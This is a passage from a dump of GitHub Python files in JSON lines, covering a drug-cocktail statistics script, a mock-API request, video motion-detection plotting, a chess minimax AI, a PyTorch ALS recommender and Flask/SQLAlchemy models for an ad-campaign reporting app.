\"\":\n\t\t\t\t\tco_list.append(co)\n\treturn(co_list)\n\n\n\nco_random = read_cofile(f_sorted_cocktails)\nco_biassed = co_random[0:sample_size]\n\nterms_to_search = read_cofile(f_terms_to_search)\n\n\nl_n_matched_per_co_biassed = []\nfor co in co_biassed:\n\tdrugs = co.split(\"-\")\n\tmatches = 0\n\tfor drug in drugs:\n\t\tdescr = d_descriptions[drug]\n\t\tmatch = False\n\t\tfor term in terms_to_search:\n\t\t\tif term in descr:\n\t\t\t\tmatch = True\n\t\tif match:\n\t\t\tmatches += 1\n\tl_n_matched_per_co_biassed.append(matches)\n\nmean_matches_biassed = mean(l_n_matched_per_co_biassed)\n\n\nl_n_matched_per_co_random = []\nfor co in co_random:\n\tdrugs = co.split(\"-\")\n\tmatches = 0\n\tfor drug in drugs:\n\t\tdescr = d_descriptions[drug]\n\t\tmatch = False\n\t\tfor term in terms_to_search:\n\t\t\tif term in descr:\n\t\t\t\tmatch = True\n\t\tif match:\n\t\t\tmatches += 1\n\tl_n_matched_per_co_random.append(matches)\n\nmean_matches_random = mean(l_n_matched_per_co_random)\n\nks_test = stats.kstest(l_n_matched_per_co_biassed,l_n_matched_per_co_random)\npvalue = ks_test[1]\ndiff = mean_matches_biassed - mean_matches_random\n\n\nprint(l_n_matched_per_co_random)\nplt.plot(range(0, len(l_n_matched_per_co_random)), l_n_matched_per_co_random, \"o\", color='black')\n#plt.plot(range(0, 1000), l_n_matched_per_co_random[0:1000], \"o\", color='black')\nplt.savefig('plot.png')\n#print(\"\\t\".join([f_sorted_cocktails, str(round(mean_matches_biassed, 5)), str(round(mean_matches_random, 5)), str(round(diff, 5)), str(pvalue)]))\n\n\n\n\n\n\n","repo_name":"JNovoaR/Cocktail_Attack","sub_path":"aucs_and_spearmanns/enriched_ks.py","file_name":"enriched_ks.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10904846375","text":"import requests\n\n# Mock API list of users under / path\nUSERS_URL = 'https://myapp.free.beeceptor.com/'\n\n# Mock API list of users under / path printed in main page\nx = requests.get('https://myapp.free.beeceptor.com/')\nprint(x.text)\n \n# Unit test case to verify the page return 200 success code\ndef get_users():\n \"\"\"Get list of users\"\"\"\n response = requests.get(USERS_URL)\n if response.ok:\n return response\n else:\n return None\n","repo_name":"gopi26/python-list-users","sub_path":"users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"71022180560","text":"#Función que captura el porcentaje de movimiento de cada frame\r\n#siendo comparado con las imágenes base. Los parametros son:\r\n#####path: ruta del video donde se quieren sacar los frames\r\n#####initialFrame: en caso de solo querer el gráfico para un trozo del video\r\n##### se debe especificar el frame inicial\r\n#####lastFrame: en caso de solo querer el gráfico para un trozo del video\r\n##### se debe especificar el frame final\r\n#De querer todo el video, los parametros seran\r\n#respectivamente 0 y 99999 (valor improbable que alcance)\r\n#####show=Muestra información extra en la consola, como la imagen solo del movimiento,\r\n##### la mascara de esta, y el porcentaje de movimiento considerado\r\n\r\ndef ValueCapture(path, initialFrame=0, lastFrame=99999, show=False):\r\n #Consigue las imágenes base para comparar en la detección de movimiento\r\n valores = getLightImages(path)\r\n base1 = valores[0]\r\n base2 = valores[1]\r\n\r\n # Función que toma el video y lo procesa\r\n vidObj = cv2.VideoCapture(path)\r\n\r\n # Contador de frames\r\n count = 0\r\n\r\n # Verifica que no hay mas frames en el video, o para finalizar el bucle\r\n success = 1\r\n\r\n #En esta variable irán arrays donde en la posición 0 está el frame capturado\r\n #y en la posición 1 está el porcentaje de movimiento considerado\r\n valores=[]\r\n\r\n #Bucle que itera sobre los frames\r\n while success:\r\n #Analiza frame por frame, pasándolas individualmente a la variable \"image\"\r\n success, image = vidObj.read()\r\n\r\n #Si no hay mas frames en el video finaliza el bucle\r\n if image is None:\r\n break\r\n\r\n #Considera a partir del frame inicial indicado\r\n #(o en su defecto desde el inicio del video)\r\n if count >initialFrame:\r\n #Aplica los procesados necesarios (detección de movimiento y los filtros)\r\n #para eliminar el ruido\r\n deteccion1=deteccionMovimiento(image,base1, show=False)\r\n filtro1 = applyFilters(image,deteccion1, show=False)\r\n mov1 = filtro1[0]\r\n binarizado1=filtro1[1]\r\n\r\n deteccion2=deteccionMovimiento(image,base2, show=False)\r\n filtro2 = applyFilters(image,deteccion2, show=False)\r\n mov2 = filtro2[0]\r\n binarizado2=filtro2[1]\r\n\r\n #Consigue el porcentaje de movimiento considerado\r\n #(todo lo que en la captura no es es parte de la imagen base)\r\n avg1 = (sum(binarizado1)/binarizado1.size)\r\n avg2 = (sum(binarizado2)/binarizado2.size)\r\n\r\n #El valor mínimo será considerado el porcentaje de movimiento\r\n #para el frame actual\r\n valor = min(avg1,avg2)\r\n if show:\r\n print(\"Frame: \", count)\r\n print(\"Porcentaje de movimiento: \", valor)\r\n if min(avg1,avg2)== avg1:\r\n print(\"Deteccion de movimiento:\")\r\n cv2_imshow(mov1)\r\n print(\"Mascara de movimiento:\")\r\n cv2_imshow(binarizado1)\r\n else:\r\n print(\"Deteccion de movimiento:\")\r\n cv2_imshow(mov2)\r\n print(\"Mascara de movimiento:\")\r\n cv2_imshow(binarizado2)\r\n\r\n #Guarda en el array de valores el porcentaje de movimiento\r\n #considerado en el frame actual\r\n valores.append(valor*100/255)\r\n\r\n #Si llega al frame indicado como final terminara la iteración.\r\n #Ante la ausencia de este parámetro terminará en el frame 99999\r\n #o al finalizar el video\r\n if count == lastFrame:\r\n success = 0\r\n\r\n #Aumenta el contador de frames\r\n count +=1\r\n\r\n #Devuelve el array con los valores de movimiento considerados\r\n return valores\r\n\r\n#Función que genera el gráfico de movimiento. Los parametros son:\r\n#####porcentajeMovimientos: array que contiene el porcentaje de movimiento\r\n##### calculado de cada frame\r\n#####width: ancho que tendrá la gráfica\r\n#####height: alto que tendra la grafica\r\n#Esas dimensiones de gráficas son óptimas para una captura de aproximadamente\r\n#1500 frames (En este caso seria un video de aproximadamente 2min 30segs)\r\ndef generarGraficoMovimiento(porcentajeMovimientos, width=15,height=2):\r\n #Asignación del gráfico con sus características\r\n fig, axs = plt.subplots(1,1, figsize=(width,height))\r\n\r\n #Ingresar el array de datos\r\n axs.plot(porcentajeMovimientos)\r\n\r\n #Características del gráfico\r\n axs.set_title(\"Deteccion de Movimiento\")\r\n axs.set_xlabel(\"Frame\")\r\n axs.set_xlim(left=0)\r\n axs.set_ylabel(\"% Ocupado\")\r\n\r\n #Muestra cada cuantos números muestra el valor en el eje X\r\n spacing = 100\r\n majorLocator = MultipleLocator(spacing)\r\n axs.xaxis.set_major_locator(majorLocator)\r\n\r\n #Crea un grid en el gráfico\r\n axs.grid(True, which='major')\r\n\r\n\r\n#Para generar un gráfico se llamaría de la siguiente manera:\r\n#val = ValueCapture(rutaVideo)\r\n#generarGraficoMovimiento(val)\r\n","repo_name":"brunocolm/DeteccionDeMatriculas","sub_path":"ManejoDeDatosYGraficoMovimiento.py","file_name":"ManejoDeDatosYGraficoMovimiento.py","file_ext":"py","file_size_in_byte":4967,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"27078576209","text":"from board import Board\nfrom piece import *\n\nclass AI:\n \n def __init__(self):\n self.MATERIAL_VALUES = {\n PAWN: 100,\n KNIGHT: 320,\n BISHOP: 330,\n ROOK: 500,\n QUEEN: 900,\n KING: 20000\n }\n \n self.PAWN_TABLE = [\n 0, 0, 0, 0, 0, 0, 0, 0,\n 50, 50, 50, 50, 50, 50, 50, 50,\n 10, 10, 20, 30, 30, 20, 10, 10,\n 5, 5, 10, 25, 25, 10, 5, 5,\n 0, 0, 0, 20, 20, 0, 0, 0,\n 5, -5,-10, 0, 0,-10, -5, 5,\n 5, 10, 10,-20,-20, 10, 10, 5,\n 0, 0, 0, 0, 0, 0, 0, 0\n ]\n\n self.PIECE_VALUES = {\n KNIGHT: 30,\n BISHOP: 30,\n ROOK: 50,\n QUEEN: 90\n }\n\n self.MOBILITY_BONUS = 5\n self.KING_SAFETY_BONUS = 10\n self.CHECKMATE_SCORE = 10000\n self.STALEMATE_SCORE = 0\n \n def evaluate(self, board: Board):\n material_score = 0\n for piece_type, value in self.MATERIAL_VALUES.items():\n material_score += len(board.pieces(piece_type, 'white')) * value\n material_score -= len(board.pieces(piece_type, 'black')) * value\n \n pawn_score = 0\n for square, piece in board.get_board_pieces().items():\n if piece.type == PAWN:\n if piece.color == 'white':\n pawn_score += self.PAWN_TABLE[square]\n else:\n pawn_score -= self.PAWN_TABLE[board.square_mirror(square)]\n \n mobility_score = 0\n for _, piece in board.get_legal_moves().items():\n for move in piece.valid_moves:\n if board.is_capture_move(move, piece.color):\n if not isinstance(board.squares[move.final.row][move.final.col].piece, Pawn) and not isinstance(board.squares[move.final.row][move.final.col].piece, King):\n mobility_score += self.PIECE_VALUES[board.squares[move.final.row][move.final.col].piece.type]\n else:\n mobility_score += self.MOBILITY_BONUS\n \n king_square = board.king('white')\n if board.is_checkmate(color='white'):\n king_score = -self.CHECKMATE_SCORE\n elif board.is_stalemate(color='white'):\n king_score = self.STALEMATE_SCORE\n elif board.is_insufficient_material():\n king_score = 0\n else:\n king_score = self.KING_SAFETY_BONUS * len(board.attackers('black', king_square))\n \n score = material_score + pawn_score + mobility_score + king_score\n return score if board.current_player == 'white' else -score\n \n\n # Implement the minimax algorithm with alpha-beta pruning\n def minimax(self, board: Board, depth, alpha, beta, maximizing_player):\n print(f\"Depth: {depth}, Alpha: {alpha}, Beta: {beta}, MaxP: {maximizing_player}\")\n \n # Check if the search has reached the maximum depth or a terminal node\n if depth == 0 or board.is_game_over():\n return self.evaluate(board)\n\n # Determine the legal moves for the current player\n if maximizing_player:\n legal_moves = board.get_legal_moves()\n best_value = -float(\"inf\")\n \n for _, piece in legal_moves.items():\n print(f'Evaluating {piece.name}@{piece.color} at depth {depth}')\n \n for move in piece.valid_moves:\n board.move(piece, move)\n value = self.minimax(board, depth - 1, alpha, beta, False)\n board.undo_last_move()\n \n best_value = max(best_value, value)\n alpha = max(alpha, best_value)\n \n if beta <= alpha:\n break\n \n return best_value\n else:\n legal_moves = board.get_legal_moves()\n best_value = float(\"inf\")\n \n for _, piece in legal_moves.items():\n print(f'Evaluating {piece.name}@{piece.color} at depth {depth}')\n \n for move in piece.valid_moves:\n board.move(piece, move)\n value = self.minimax(board, depth - 1, alpha, beta, True)\n board.undo_last_move()\n \n best_value = min(best_value, value)\n beta = min(beta, best_value)\n \n if beta <= alpha:\n break\n \n return best_value\n\n # Find the best move using the minimax algorithm with alpha-beta pruning\n def find_best_move(self, board: Board, depth):\n print(\"AI is thinking...\")\n legal_moves = board.get_legal_moves()\n first_value = next(iter(legal_moves.values()))\n best_move = (first_value, first_value.valid_moves)\n best_value = -float(\"inf\")\n alpha = -float(\"inf\")\n beta = float(\"inf\")\n \n for _, piece in legal_moves.items():\n for move in piece.valid_moves:\n board.move(piece, move)\n value = self.minimax(board, depth - 1, alpha, beta, False)\n board.undo_last_move()\n \n if value > best_value:\n best_value = value\n best_move = (piece, move)\n \n alpha = max(alpha, best_value)\n if beta <= alpha:\n break\n \n return best_move\n","repo_name":"SnoopyCodeX/pychess-game","sub_path":"src/ai.py","file_name":"ai.py","file_ext":"py","file_size_in_byte":5667,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"1316295644","text":"class Employee():\r\n def __init__(self, surname, first_name, position):\r\n self.surname = surname\r\n self.first_name = first_name\r\n self.position = position\r\n def prin(self):\r\n print(\"Привет, я \", self.first_name, \", работаю на должности\", self.position)\r\n\r\nNikita = Employee(surname=\"Полежака\", first_name=\"Никита\", position=\"ученик\")\r\nBogdan = Employee(surname=\"!?!\", first_name=\"Богдан\", position=\"тим лид\")\r\nArtyom = Employee(surname=\"?!?\", first_name=\"Артём\", position=\"ученик\")\r\n\r\nprint(Nikita.prin())","repo_name":"PolezhakaNikita/mandarin","sub_path":"hmw.py","file_name":"hmw.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"11955762051","text":"import numpy as np\r\nimport dataloader\r\nfrom data_set import filepaths as fp\r\nfrom torch.utils.data import DataLoader\r\nfrom torch import nn\r\nimport torch\r\nfrom sklearn.metrics import precision_score, recall_score, accuracy_score\r\n\r\n\r\nclass ALS(nn.Module):\r\n def __init__(self, n_users, n_items, dim):\r\n super(ALS, self).__init__()\r\n '''\r\n :param n_users: 用户数量\r\n :param n_items: 物品数量\r\n :param dim: 向量维度\r\n '''\r\n # 随机初始化用户的向量, 将向量约束在L2范数为1以内\r\n self.users = nn.Embedding(n_users, dim, max_norm=1)\r\n # 随机初始化物品的向量, 将向量约束在L2范数为1以内\r\n self.items = nn.Embedding(n_items, dim, max_norm=1)\r\n self.sigmoid = nn.Sigmoid()\r\n\r\n def forward(self, u, v):\r\n '''\r\n :param u: 用户索引id shape:[batch_size]\r\n :param i: 用户索引id shape:[batch_size]\r\n :return: 用户向量与物品向量的内积 shape:[batch_size]\r\n '''\r\n u = self.users(u)\r\n v = self.items(v)\r\n uv = torch.sum(u * v, axis=1)\r\n logit = self.sigmoid(uv)\r\n return logit\r\n\r\n\r\ndef doEva(net, d):\r\n d = torch.LongTensor(d)\r\n u, i, r = d[:, 0], d[:, 1], d[:, 2]\r\n with torch.no_grad():\r\n out = net(u, i)\r\n y_pred = np.array([1 if i >= 0.5 else 0 for i in out])\r\n y_true = r.detach().numpy()\r\n p = precision_score(y_true, y_pred)\r\n r = recall_score(y_true, y_pred)\r\n acc = accuracy_score(y_true, y_pred)\r\n return p, r, acc\r\n\r\n\r\ndef train(epochs=10, batchSize=1024, lr=0.01, dim=64, eva_per_epochs=1):\r\n '''\r\n :param epochs: 迭代次数\r\n :param batchSize: 一批次的数量\r\n :param lr: 学习率\r\n :param dim: 用户物品向量的维度\r\n :param eva_per_epochs: 设定每几次进行一次验证\r\n '''\r\n # 读取数据\r\n user_set, item_set, train_set, test_set = \\\r\n dataloader.readRecData(fp.Ml_100K.RATING, test_ratio=0.1)\r\n # 初始化ALS模型\r\n net = ALS(len(user_set), len(item_set), dim)\r\n # 定义优化器\r\n optimizer = torch.optim.AdamW(net.parameters(), lr=lr)\r\n # 定义损失函数\r\n criterion = torch.nn.BCELoss()\r\n # 开始迭代\r\n for e in range(epochs):\r\n all_lose = 0\r\n # 每一批次地读取数据\r\n for u, i, r in DataLoader(train_set, batch_size=batchSize, shuffle=True):\r\n optimizer.zero_grad()\r\n r = torch.FloatTensor(r.detach().numpy())\r\n result = net(u, i)\r\n loss = criterion(result, r)\r\n all_lose += loss\r\n loss.backward()\r\n optimizer.step()\r\n print('epoch {}, avg_loss = {:.4f}'.format(e, all_lose / (len(train_set) // batchSize)))\r\n\r\n # 评估模型\r\n if e % eva_per_epochs == 0:\r\n p, r, acc = doEva(net, train_set)\r\n print('train: Precision {:.4f} | Recall {:.4f} | accuracy {:.4f}'.format(p, r, acc))\r\n p, r, acc = doEva(net, test_set)\r\n print('test: Precision {:.4f} | Recall {:.4f} | accuracy {:.4f}'.format(p, r, acc))\r\n\r\n\r\nif __name__ == '__main__':\r\n train()\r\n","repo_name":"HuichuanLI/Recommand-Algorithme","sub_path":"basic_sim/s67_ALS_PyTorch.py","file_name":"s67_ALS_PyTorch.py","file_ext":"py","file_size_in_byte":3169,"program_lang":"python","lang":"en","doc_type":"code","stars":81,"dataset":"github-code","pt":"29"} +{"seq_id":"70307218959","text":"from app import db, ma\r\n\r\n\r\nclass Bitacora(db.Model):\r\n __tablename__ = 'bitacora'\r\n bitacoraID = db.Column(db.Integer, primary_key=True)\r\n Operacion = db.Column(db.String, unique=True, nullable=False)\r\n Resultado = db.Column(db.String, unique=True, nullable=False)\r\n Documento = db.Column(db.String, unique=True, nullable=False)\r\n CreateDate = db.Column(db.DateTime, unique=True, nullable=False)\r\n\r\n\r\n\r\nclass BitacoraSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('bitacoraID', 'Operacion',\r\n 'Resultado', 'Documento', 'CreateDate')\r\n\r\n\r\nclass Accounts(db.Model):\r\n __tablename__ = 'Accounts'\r\n # Field name made lowercase.\r\n AccountsID = db.Column(db.String, primary_key=True)\r\n Account = db.Column(db.String, unique=True, nullable=False)\r\n Media = db.Column(db.String, unique=True, nullable=False)\r\n CreateDate = db.Column(db.DateTime, unique=True, nullable=False)\r\n Country = db.Column(db.String, nullable=True)\r\n State = db.Column(db.Integer, nullable=False)\r\n\r\n def __init__(self, AccountsID, Account, Media, Country):\r\n self.AccountsID = AccountsID\r\n self.Account = Account\r\n self.Media = Media\r\n self.Country = Country\r\n\r\n\r\nclass AccountsSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('AccountsID', 'Account', 'Media', 'CreateDate', 'Country')\r\n\r\n\r\nclass Dcliente(db.Model):\r\n __table_args__ = {'schema': 'mfcgt'}\r\n __tablename__ = 'dcliente'\r\n id = db.Column(db.Integer, primary_key=True) # Field name made lowercase.\r\n nombre = db.Column(db.String, unique=True)\r\n abreviatura = db.Column(db.String, unique=True)\r\n idagencia = db.Column(db.Integer, unique=True)\r\n optimizacion = db.Column(db.Integer)\r\n comision = db.Column(db.Integer)\r\n colorcliente = db.Column(db.String)\r\n colormfc = db.Column(db.String)\r\n usering = db.Column(db.Integer)\r\n fechaing = db.Column(db.DateTime)\r\n usermod = db.Column(db.Integer)\r\n fechamod = db.Column(db.DateTime)\r\n estado = db.Column(db.Integer)\r\n\r\n\r\nclass DclienteSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('id', 'nombre', 'usering')\r\n\r\n\r\nclass Dmarca(db.Model):\r\n __table_args__ = {'schema': 'mfcgt'}\r\n __tablename__ = 'dmarca'\r\n id = db.Column(db.Integer, primary_key=True) # Field name made lowercase.\r\n nombre = db.Column(db.String, unique=True)\r\n abreviatura = db.Column(db.String, unique=True)\r\n idcliente = db.Column(db.Integer, db.ForeignKey(\r\n 'mfcgt.dcliente.id'), nullable=False)\r\n usering = db.Column(db.Integer, unique=True)\r\n fechaing = db.Column(db.DateTime)\r\n usermod = db.Column(db.Integer, unique=True)\r\n fechamod = db.Column(db.DateTime)\r\n estado = db.Column(db.Integer)\r\n\r\n def fullname(self, nombre):\r\n return self.nombre + \" - \" + nombre\r\n\r\n\r\nclass DmarcaSchema(ma.ModelSchema):\r\n class Meta:\r\n nombre = Dmarca.nombre + Dcliente.nombre\r\n fields = (\"id\", \"fullname\", \"usering\", \"abreviatura\")\r\n\r\n\r\nclass ResuladsBrand(db.Model):\r\n __tablename__ = 'Result_brands'\r\n # Field name made lowercase.\r\n idResult = db.Column(db.Integer, primary_key=True)\r\n url = db.Column(db.String)\r\n MarcaID = db.Column(db.Integer)\r\n status = db.Column(db.Integer)\r\n\r\n\r\nclass Accountxmarca(db.Model):\r\n __tablename__ = 'accountxmarca'\r\n # Field name made lowercase.\r\n idAccountxMarca = db.Column(db.Integer, primary_key=True)\r\n account = db.Column(db.String)\r\n marca = db.Column(db.Integer)\r\n usering = db.Column(db.Integer, unique=True)\r\n fechaing = db.Column(db.DateTime)\r\n usermod = db.Column(db.Integer)\r\n fechamod = db.Column(db.DateTime)\r\n\r\n def __init__(self, accounts, marcas, userings):\r\n self.account = accounts\r\n self.marca = marcas\r\n self.usering = userings\r\n\r\n\r\n\r\nclass AccountxMarcaSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('idAccountxMarca', 'AccountID', 'Medio', 'marca', 'nombre')\r\n\r\n\r\nclass Errorscampaings(db.Model):\r\n __tablename__ = 'ErrorsCampaings'\r\n iderrorscampaings = db.Column(db.Integer, primary_key=True)\r\n error = db.Column(db.String, nullable=False)\r\n comentario = db.Column(db.String, nullable=False)\r\n estado = db.Column(db.Integer, nullable=False)\r\n media = db.Column(db.String, nullable=False)\r\n tipoerrorid = db.Column(db.Integer, nullable=False)\r\n campaingid = db.Column(db.String, nullable=False)\r\n usuariovalidacion = db.Column(db.Integer, nullable=False)\r\n impressions = db.Column(db.Integer, nullable=False)\r\n createdate = db.Column(db.DateTime, nullable=False)\r\n UsuarioOmitir = db.Column(db.Integer, nullable=False)\r\n\r\n def __init__(self, Estado):\r\n self.estado = Estado\r\n\r\n\r\nclass ErrorsCampaingsSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('iderror', 'idcuenta', 'cuenta', 'CampaingID', 'Camapingname', 'Error', 'TipoErrorID', 'DescripcionError',\r\n 'GrupoError', 'Icono', 'Comentario', 'Estado', 'Media', 'Fecha', 'tipousuario', 'plataforma', 'marca', 'cliente')\r\n\r\n\r\nclass ErrorsCampaingsCountSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('totales', 'totalinversion', 'totalnomeclatura',\r\n 'totalpaises', 'ordenesdecompra', 'errorconsumo')\r\n\r\n\r\nclass Tiposerrores(db.Model):\r\n __tablename__ = 'TiposErrores'\r\n tipoerrorid = db.Column(db.Integer, primary_key=True)\r\n descripcion = db.Column(db.String, nullable=False)\r\n icono = db.Column(db.String, nullable=False)\r\n tipousuario = db.Column(db.Integer, nullable=False)\r\n createdate = db.Column(db.DateTime, nullable=False)\r\n\r\n\r\nclass TipoErroresSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('tipoerrorid', 'descripcion', 'icono', 'tipousuario')\r\n\r\n\r\nclass Campaings(db.Model):\r\n __tablename__ = 'Campaings'\r\n campaingid = db.Column(db.String, primary_key=True)\r\n campaingname = db.Column(db.String, nullable=False)\r\n campaignspendinglimit = db.Column(db.Float, nullable=False)\r\n campaigndailybudget = db.Column(db.Float, nullable=False)\r\n campaignlifetimebudget = db.Column(db.Float, nullable=False)\r\n campaignobjective = db.Column(db.String, nullable=False)\r\n campaignstatus = db.Column(db.String, nullable=False)\r\n cost = db.Column(db.Float, nullable=False)\r\n accountsid = db.Column(db.String, db.ForeignKey(\r\n 'Accounts.AccountsID'), nullable=False)\r\n createdate = db.Column(db.DateTime, nullable=False)\r\n startdate = db.Column(db.DateTime, nullable=False)\r\n enddate = db.Column(db.DateTime, nullable=False)\r\n\r\n\r\nclass CampaingsSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('campaingid', 'campaingname', 'campaignspendinglimit', 'campaigndailybudget', 'campaignlifetimebudget',\r\n 'campaignobjective', 'campaignstatus', 'cost', 'accountsid', 'createdate', 'startdate', 'enddate')\r\n\r\n\r\nclass CampaingsAM(db.Model):\r\n __tablename__ = 'CampaingsAM'\r\n campaingid = db.Column(db.String, primary_key=True)\r\n campaingname = db.Column(db.String, nullable=False)\r\n campaingname = db.Column(db.String, nullable=False)\r\n accountsid = db.Column(db.String, db.ForeignKey(\r\n 'Accounts.AccountsID'), nullable=False)\r\n\r\n\r\nclass CampaingsSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('campaingid', 'campaingname', 'campaignspendinglimit', 'campaigndailybudget', 'campaignlifetimebudget',\r\n 'campaignobjective', 'campaignstatus', 'cost', 'accountsid', 'createdate', 'startdate', 'enddate')\r\n\r\n\r\nclass CostSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('id', 'cost')\r\n\r\n\r\nclass ReportSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('Account', 'idcliente', 'CampaingID', 'Marca', 'idmarca', 'Media', 'Campaingname', 'InversionConsumida', 'KPIPlanificado', 'StartDate', 'EndDate', 'mes', 'PresupuestoPlan', 'KPI', 'KPIConsumido', 'State', 'TotalDias', 'DiasEjecutados', 'DiasPorservir',\r\n 'PresupuestoEsperado', 'PorcentajePresupuesto', 'PorcentajeEsperadoV', 'PorcentajeRealV', 'KPIEsperado', 'PorcentajeKPI', 'PorcentajeEsperadoK', 'PorcentajeRealK', 'EstadoKPI', 'EstadoPresupuesto', 'abr', 'CostoPorResultadoR', 'CostoPorResultadoP')\r\n\r\n\r\nclass LocalMedia(db.Model):\r\n __tablename__ = 'localmedia'\r\n LocalMediaID = db.Column(db.Integer, primary_key=True)\r\n Medio = db.Column(db.String, nullable=False)\r\n Cliente = db.Column(db.String, nullable=False)\r\n Pais = db.Column(db.String, nullable=False)\r\n Campana = db.Column(db.String, nullable=False)\r\n Nomenclatura = db.Column(db.String, nullable=False)\r\n StartDate = db.Column(db.Date, nullable=False)\r\n EndDate = db.Column(db.Date, nullable=False)\r\n Mes = db.Column(db.String, nullable=False)\r\n ODC = db.Column(db.String, nullable=False)\r\n AccountID = db.Column(db.String, nullable=False)\r\n State = db.Column(db.String, nullable=False)\r\n\r\n\r\nclass LocalMediaSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('LocalMediaID', 'Medio', 'Cliente', 'Pais',\r\n 'Campana', 'StartDate', 'EndDate', 'Mes', 'ODC', 'State')\r\n\r\n\r\nclass DetailLocalMedia(db.Model):\r\n __tablename__ = 'detaillocalmedia'\r\n detailID = db.Column(db.Integer, primary_key=True)\r\n LocalMediaID = db.Column(db.Integer, db.ForeignKey(\r\n 'loalmedia.LocalMediaID'), nullable=False)\r\n StartWeek = db.Column(db.Date, nullable=False)\r\n EndWeek = db.Column(db.Date, nullable=False)\r\n Nomenclatura = db.Column(db.String, nullable=False)\r\n Formato = db.Column(db.String, nullable=False)\r\n Objetivo = db.Column(db.String, nullable=False)\r\n Impresiones = db.Column(db.Integer, nullable=False)\r\n Clicks = db.Column(db.Integer, nullable=False)\r\n Ctr = db.Column(db.Integer, nullable=False)\r\n Consumo = db.Column(db.Float, nullable=False)\r\n\r\n\r\nclass DetailLocalMediaSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('detailID', 'StartWeek', 'EndWeek', 'Nomenclatura',\r\n 'Formato', 'Objetivo', 'Impresiones', 'Clicks', 'Ctr', 'Consumo')\r\n\r\n\r\nclass Results_campaings(db.Model):\r\n __tablename__ = 'Results_Campaings'\r\n idResult = db.Column(db.Integer, primary_key=True)\r\n Url = db.Column(db.String, nullable=False)\r\n CampaingID = db.Column(db.String, nullable=False)\r\n Status = db.Column(db.Integer, nullable=False)\r\n CreateDate = db.Column(db.DateTime, nullable=False)\r\n Description = db.Column(db.String, nullable=False)\r\n idMarca= db.Column(db.Integer, nullable=False)\r\n\r\n def __init__(self, idResult, Url, CampaingID , Status, Description,idMarca):\r\n self.idResult = idResult\r\n self.Url = Url\r\n self.CampaingID = CampaingID\r\n self.Status = Status\r\n self.Description = Description\r\n self.idMarca = idMarca\r\n\r\n\r\nclass Results_campaingsSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('idResult', 'Url', 'CampaingID', 'Status','Description', 'idMarca')\r\n\r\n\r\nclass LeadAdsCampaings(db.Model):\r\n __tablename__ = 'LeadAdsCampaings'\r\n idLeadAdsCampaings = db.Column(db.Integer, primary_key=True)\r\n CampaingID = db.Column(db.String, nullable=False)\r\n Nombre = db.Column(db.String, nullable=False)\r\n Apellido = db.Column(db.String, nullable=False)\r\n Telefono = db.Column(db.Integer, nullable=False)\r\n Email = db.Column(db.String, nullable=False)\r\n NIT = db.Column(db.String, nullable=False)\r\n DPI = db.Column(db.String, nullable=False)\r\n Plataforma = db.Column(db.String, nullable=False)\r\n Medio = db.Column(db.String, nullable=False)\r\n Fuente = db.Column(db.String, nullable=False)\r\n Ubicacion = db.Column(db.String, nullable=False)\r\n Producto = db.Column(db.String, nullable=False)\r\n CreateDate = db.Column(db.DateTime, nullable=False)\r\n\r\n def __init__(self, CampaingID, Nombre, Telefono, NIT, DPI, Email,Ubicacion, Plataforma, Producto):\r\n self.CampaingID = CampaingID\r\n self.Nombre = Nombre\r\n self.Telefono = Telefono\r\n self.NIT = NIT\r\n self.DPI = DPI\r\n self.Email = Email\r\n self.Ubicacion = Ubicacion\r\n self.Plataforma = Plataforma\r\n self.Producto = Producto\r\n\r\nclass LeadAdsCampaingsSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('id', 'CampaingID', 'Nombre', 'Telefono', 'Email', 'NIT', 'DPI', 'Plataforma', 'Ubicacion', 'Producto','CreateDate', 'EstadoDpi', 'EstadoTelefono', 'EstadoEmail', 'EstadoGeneral')\r\n\r\n\r\nclass Invitados(db.Model):\r\n __tablename__ = 'Invitados'\r\n idUsuario = db.Column(db.Integer, primary_key=True)\r\n user = db.Column(db.String, nullable=False)\r\n password = db.Column(db.String, nullable=False)\r\n estado = db.Column(db.Integer, nullable=False)\r\n fecha = db.Column(db.DateTime, nullable=False)\r\n idmarca = db.Column(db.Integer, nullable=False)\r\n idcliente = db.Column(db.Integer, nullable=False)\r\n\r\n\r\nclass InvitadosSchema(ma.ModelSchema):\r\n class Meta:\r\n fields = ('id', 'username', 'password', 'firstName', 'lastName')\r\n\r\n\r\nclass mfcaprobacion(db.Model):\r\n __table_args__ = {'schema': 'mfcgt'}\r\n __tablename__ = 'mfcaprobacion'\r\n id = db.Column(db.Integer, primary_key=True)\r\n idmfc = db.Column(db.Integer, db.ForeignKey(\r\n 'mfcgt.mfc.id'), nullable=False)\r\n asunto = db.Column(db.String, nullable=False)\r\n mensaje = db.Column(db.String, nullable=False)\r\n emailstatus = db.Column(db.String, nullable=False)\r\n campana = db.Column(db.String, nullable=False)\r\n versioncampana = db.Column(db.String, nullable=False)\r\n tiposmedio = db.Column(db.String, nullable=False)\r\n medio = db.Column(db.String, nullable=False)\r\n mes = db.Column(db.String, nullable=False)\r\n datos = db.Column(db.String, nullable=False)\r\n usering = db.Column(db.Integer, nullable=False)\r\n fechaing = db.Column(db.DateTime, nullable=False)\r\n usermod = db.Column(db.DateTime, nullable=False)\r\n 